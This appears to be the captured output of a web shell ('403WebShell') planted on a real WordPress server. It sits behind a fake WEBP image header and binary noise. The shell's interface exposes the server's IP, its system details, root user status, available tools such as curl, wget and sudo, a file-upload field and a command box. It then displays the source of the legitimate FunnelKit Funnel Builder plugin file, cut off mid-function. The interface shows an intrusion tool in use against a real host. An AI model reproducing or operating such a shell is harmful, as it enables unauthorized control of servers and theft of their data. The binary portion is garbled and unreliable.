RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/prima-world/wp-content/plugins/funnel-builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/prima-world/wp-content/plugins/funnel-builder/funnel-builder.php
<?php
/**
 * Plugin Name: FunnelKit Funnel Builder
 * Plugin URI: https://funnelkit.com/wordpress-funnel-builder/
 * Description: Create high-converting sales funnels on WordPress that look professional by following a well-guided step-by-step process.
 * Version: 3.7.0
 * Author: FunnelKit
 * Author URI: https://funnelkit.com
 * License: GPLv3 or later
 * License URI: http://www.gnu.org/licenses/gpl-3.0.html
 * Text Domain: funnel-builder
 * Elementor tested up to: 3.25.9
 *
 * Requires at least: 5.4.0
 * Tested up to: 6.7.0
 * Requires PHP: 7.4
 * WooFunnels: true
 *
 * Funnel Builder is free software.
 * You can redistribute it and/or modify it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * any later version.
 *
 * Funnel Builder is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Funnel Builder. If not, see <http://www.gnu.org/licenses/>.
 */

defined( 'ABSPATH' ) || exit; //Exit if accessed directly

if ( ! class_exists( 'WFFN_Core' ) ) {

	/**
	 * Class WFFN_Core
	 */
	#[AllowDynamicProperties]
	class WFFN_Core {

		/**
		 * @var null
		 */
		public static $_instance = null;

		/**
		 * @var array
		 */
		private static $_registered_entity = array(
			'active'   => array(),
			'inactive' => array(),
		);

		/**
		 * @var WFFN_Admin
		 */
		public $admin;

		public $assets;

		/**
		 * @var WFFN_Steps
		 */
		public $steps;

		/**
		 * @var WFFN_Substeps
		 */
		public $substeps;
		/**
		 * @var WFFN_Data
		 */
		public $data;

		/**
		 * @var WFFN_Logger
		 */
		public $logger;

		/**
		 * @var WFFN_Importer
		 */
		public $import;

		/**
		 * @var WFFN_Remote_Template_Importer
		 */
		public $remote_importer;

		/**
		 * @var WFFN_Page_Builder_Manager
		 */
		public $page_builders;

		/**
		 * @var WFFN_Landing_Pages
		 */
		public $landing_pages;

		/**
		 * @var WFFN_Funnel_Contacts
		 *
		 */
		public $wffn_contacts;

		/**
		 * @var WFFN_Thank_You_WC_Pages
		 */
		public $thank_you_pages;

		/** @var WFFN_Funnels_DB */
		public $funnels_db = null;

		/** @var WFFN_Template_Importer */
		public $importer = null;

		/** @var WFFN_Public */
		public $public = null;

		/** @var WFFN_WP_User_AutoLogin */
		public $autologin = null;

		/** @var WFFN_Role_Capability */
		public $role = null;

		/** @var WFFN_Admin_Notifications */
		public $admin_notifications = null;

		/**
		 * WFFN_Core constructor.
		 */
		public function __construct() {
			/**
			 * Load important variables and constants
			 */
			$this->define_plugin_properties();
			require_once( __DIR__ . '/start.php' );
			require __DIR__ . '/includes/wffn-functions.php';
			add_action( 'plugins_loaded', array( 'WooFunnel_Loader', 'include_core' ), - 1 );

			/**
			 * Loads hooks
			 */
			$this->load_hooks();


		}

		/**
		 * Defining constants
		 */
		public function define_plugin_properties() {


			define( 'WFFN_VERSION', '3.7.0' );
			define( 'WFFN_BWF_VERSION', '1.10.12.37' );

			define( 'WFFN_MIN_WC_VERSION', '3.5.0' );
			define( 'WFFN_MIN_WP_VERSION', '5.4.0' );
			define( 'WFFN_DB_VERSION', '3.3.6' );
			define( 'WFFN_SLUG', 'wffn' );
			define( 'WFFN_PLUGIN_FILE', __FILE__ );
			define( 'WFFN_PLUGIN_DIR', __DIR__ );
			define( 'WFFN_PLUGIN_URL', untrailingslashit( plugin_dir_url( WFFN_PLUGIN_FILE ) ) );
			define( 'WFFN_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
			define( 'WFFN_TEMPLATE_UPLOAD_DIR', WP_CONTENT_DIR . '/uploads/wffn_templates/' );
			( defined( 'WFFN_IS_DEV' ) && true === WFFN_IS_DEV ) ? define( 'WFFN_VERSION_DEV', time() ) : define( 'WFFN_VERSION_DEV', WFFN_VERSION );
			( ! defined( 'WFFN_REACT_ENVIRONMENT' ) ) ? define( 'WFFN_REACT_ENVIRONMENT', 1 ) : '';

		}

		/**
		 * Load classes on plugins_loaded hook
		 */
		public function load_hooks() {
			/**
			 * Initialize Localization
			 */
			add_action( 'init', array( $this, 'localization' ) );
			add_action( 'plugins_loaded', array( $this, 'load_classes' ), 1 );
			add_action( 'plugins_loaded', array( $this, 'register_classes' ), 1 );


			register_activation_hook( __FILE__, [ $this, 'plugin_activation_hook' ] );

			if ( ! class_exists( 'WFACP_Core' ) ) {

				require __DIR__ . '/modules/checkouts/woofunnels-aero-checkout-lite.php';
			}
			if ( ! class_exists( 'WFOPP_Core' ) ) {
				require __DIR__ . '/modules/optins/woofunnels-optins.php';
			}
			add_action( 'plugins_loaded', [ $this, 'init_oxygen' ], 10 );
			add_action( 'wp_loaded', [ $this, 'load_divi_importer' ], 150 );
			add_action( 'activated_plugin', array( $this, 'check_activation' ) );


			// Define a constant for the plugin file, if not already defined.
			define( 'FUNNELKIT_BRICKS_INTEGRATION_FILE', __DIR__ . '/includes/bricks-builder/' );
			// Require the class file for Funnelkit Bricks Integration.
			require_once __DIR__ . '/includes/bricks-builder/includes/class-bricks-integration.php';

		}

		/**
		 *
		 */
		public function load_classes() {
			/**
			 * Loads all the admin
			 */
			$this->load_autoloader();
			$this->load_admin();

			$this->load_includes();

			$this->load_modules();

			$this->load_steps();

			$this->load_commons();

			$this->load_analytics();

		}

		/**
		 * Loads the admin
		 */
		public function load_admin() {
			include_once __DIR__ . '/admin/class-wffn-admin.php';
			include_once __DIR__ . '/admin/class-bwf-admin-breadcrumbs.php';
			include_once __DIR__ . '/admin/class-bwf-admin-settings.php';
			include_once __DIR__ . '/admin/class-wffn-page-builder-manager.php';
			include_once __DIR__ . '/admin/class-wffn-admin-notifications.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-funnels.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-steps.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-substeps.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-funnel-settings.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-api-update-user-preference.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-tools.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-licenses.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-funnel-canvas.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-user-preferences.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-notifications.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-get-recipes.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-setup.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-store-checkout.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-funnel-modules.php';
			include_once __DIR__ . '/admin/rest-api-helpers/class-wffn-rest-api-helpers.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-optin-api-endpoint.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-checkout-api-endpoint.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-wizard.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-funnel-contacts.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-funnel-orders.php';
			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-api-dashboard-endpoint.php';


			/*
			 * 	Order Bump Preview
			 */

			include_once __DIR__ . '/admin/rest-api/class-wfob-bump-rest-api.php';

			/***Global settings***/

			include_once __DIR__ . '/admin/rest-api/class-wffn-rest-global-settings.php';

			/**Global Header */
			include_once __DIR__ . '/admin/includes/class-wffn-header.php';

			/**Automation Recipes Loader */
			include_once __DIR__ . '/admin/class-bwfan-recipe-loader.php';

			if ( is_admin() ) {
				include_once __DIR__ . '/admin/includes/class-wffn-stripe-admin-controller.php';

			}
		}

		/**
		 * Load includes folder
		 */
		public function load_includes() {

			require __DIR__ . '/includes/class-wffn-logger.php';
			require __DIR__ . '/includes/class-wffn-session-handler.php';
			require __DIR__ . '/includes/class-wffn-data.php';
			require __DIR__ . '/includes/class-wffn-funnels-db.php';
			require __DIR__ . '/includes/class-wffn-public.php';
			require __DIR__ . '/includes/class-wffn-funnel.php';
			require __DIR__ . '/includes/class-wffn-woofunnels-support.php';
			require __DIR__ . '/merge-tags/class-bwf-contact-tags.php';
			require __DIR__ . '/includes/class-wffn-rest-controller.php';
			require __DIR__ . '/includes/class-wffn-role-capability.php';
		}

		/**
		 * Include Modules (Landing & thankyou)
		 */
		public function load_modules() {
			require __DIR__ . '/includes/class-wffn-module-common.php';
			require __DIR__ . '/modules/landing-pages/class-wffn-landing-pages.php';
			require __DIR__ . '/modules/thankyou-pages/class-wffn-thank-you-wc-pages.php';
			do_action( 'wffn_core_modules_loaded' );
		}

		/**
		 * Include steps and substeps
		 */
		public function load_steps() {
			require __DIR__ . '/includes/class-wffn-step-base.php';
			require __DIR__ . '/includes/class-wffn-step.php';
			require __DIR__ . '/includes/class-wffn-steps.php';
			require __DIR__ . '/includes/class-wffn-substep.php';
			require __DIR__ . '/includes/class-wffn-substeps.php';
		}

		/**
		 * Includes common functions.
		 */
		public function load_commons() {

			require __DIR__ . '/includes/class-wffn-common.php';

			require __DIR__ . '/importer/interface-import-export.php';
			require __DIR__ . '/importer/class-wffn-template-importer.php';
			require __DIR__ . '/importer/class-wffn-background-importer.php';
			require __DIR__ . '/admin/db/wffn-updater-functions.php';

			include_once __DIR__ . '/admin/class-wffn-importer.php';

			$response = WFFN_Common::check_builder_status( 'elementor' );
			if ( true === $response['found'] && empty( $response['error'] ) ) {
				require __DIR__ . '/importer/class-wffn-elementor-importer.php';
			}

			require __DIR__ . '/importer/class-wffn-wp-editor-importer.php';
			require __DIR__ . '/compatibilities/class-wffn-plugin-compatibilities.php';
			require __DIR__ . '/includes/class-wffn-conversion-tracking-migrator.php';
			WFFN_Common::init();
		}


		public function load_divi_importer() {

			$response = WFFN_Common::check_builder_status( 'divi' );

			if ( true === $response['found'] && empty( $response['error'] ) ) {
				require __DIR__ . '/importer/class-wffn-divi-importer.php';
			}
			$response = WFFN_Common::check_builder_status( 'oxy' );
			if ( true === $response['found'] && empty( $response['error'] ) ) {
				require __DIR__ . '/importer/class-wffn-oxygen-importer.php';
			}

			require __DIR__ . '/importer/class-wffn-gutenberg-importer.php';
		}

		public function load_analytics() {
			if ( class_exists( 'WFACP_Core' ) && wffn_is_wc_active() && ! class_exists( 'WFACP_Contacts_Analytics' ) ) {
				require_once __DIR__ . '/contact-analytics/class-wfacp-contacts-analytics.php';
			}
			if ( class_exists( 'WFOPP_Core' ) && ! class_exists( 'WFFN_Optin_Contacts_Analytics' ) ) {
				require_once __DIR__ . '/contact-analytics/class-wffn-optin-contacts-analytics.php';
			}
			if ( class_exists( 'WFOB_Core' ) && wffn_is_wc_active() && ! class_exists( 'WFOB_Contacts_Analytics' ) ) {
				require_once __DIR__ . '/contact-analytics/class-wfob-contacts-analytics.php';
			}
			if ( class_exists( 'WFOCU_Core' ) && wffn_is_wc_active() && ! class_exists( 'WFOCU_Contacts_Analytics' ) ) {
				require_once __DIR__ . '/contact-analytics/class-wfocu-contacts-analytics.php';
			}
		}

		/**
		 * @return WFFN_Core|null
		 */
		public static function get_instance() {
			if ( null === self::$_instance ) {
				self::$_instance = new self;
			}

			return self::$_instance;
		}

		public function localization() {
			load_plugin_textdomain( 'funnel-builder', false, plugin_basename( dirname( __FILE__ ) ) . '/languages' );
		}

		/**
		 * Register classes
		 */
		public function register_classes() {

			$load_classes = self::get_registered_class();
			if ( is_array( $load_classes ) && count( $load_classes ) > 0 ) {
				foreach ( $load_classes as $access_key => $class ) {

					$this->$access_key = $class::get_instance();
				}
				do_action( 'wffn_loaded' );
			}
		}

		/**
		 * @return mixed
		 */
		public static function get_registered_class() {
			return self::$_registered_entity['active'];
		}

		public static function register( $short_name, $class ) { //phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedParameter

			self::$_registered_entity['active'][ $short_name ] = $class;

		}

		/**
		 * @return WFFN_Funnels_DB
		 */
		public function get_dB() {
			if ( empty( $this->funnels_db ) ) {
				$class            = apply_filters( 'wffn_funnels_db_class', 'WFFN_Funnels_DB' );
				$this->funnels_db = new $class();
			}

			return $this->funnels_db;
		}

		public function plugin_activation_hook() {
			update_option( 'bwf_needs_rewrite', 'yes', true );

			/** Save the plugin first version when the plugin was activated, if not already present */
			$first_version = get_option( 'wffn_first_v', '' );
			if ( empty( $first_version ) ) {
				update_option( 'wffn_first_v', WFFN_VERSION, false );

			}
		}

		public function get_plugin_url() {
			return untrailingslashit( plugin_dir_url( WFFN_PLUGIN_FILE ) );
		}

		public function load_autoloader() {
			spl_autoload_register( array( $this, 'autoload' ) );
		}

		public function autoload( $class_name ) {
			if ( false !== strpos( $class_name, 'WFFN_' ) ) {
				if ( file_exists( WFFN_PLUGIN_DIR . '/includes/' . 'class-' . $this->slugify_classname( $class_name ) . '.php' ) ) {
					require_once WFFN_PLUGIN_DIR . '/includes/' . 'class-' . $this->slugify_classname( $class_name ) . '.php';  // phpcs:ignore WordPressVIPMinimum.Files.IncludingFile.UsingCustomConstant
				}

			}
		}

		public function slugify_classname( $class_name ) {
			$classname = sanitize_title( $class_name );
			$classname = str_replace( '_', '-', $classname );

			return $classname;
		}

		public function init_oxygen() {
			if ( class_exists( 'OxygenElement' ) ) {
				require_once __DIR__ . '/includes/class-abstract-wffn-oxygen-fields.php';
			}
		}

		/**
		 * Added redirection on plugin activation
		 *
		 * @param $plugin
		 */
		public function check_activation( $plugin ) {

			if ( $plugin === plugin_basename( WFFN_PLUGIN_FILE ) ) {
				$pro_first_active = get_option( 'fk_fb_active_date', [] );
				if ( empty( $pro_first_active ) || ! isset( $pro_first_active['lite'] ) ) {
					$pro_first_active['lite'] = current_time( 'timestamp' );
					update_option( 'fk_fb_active_date', $pro_first_active, false );
				}

			}
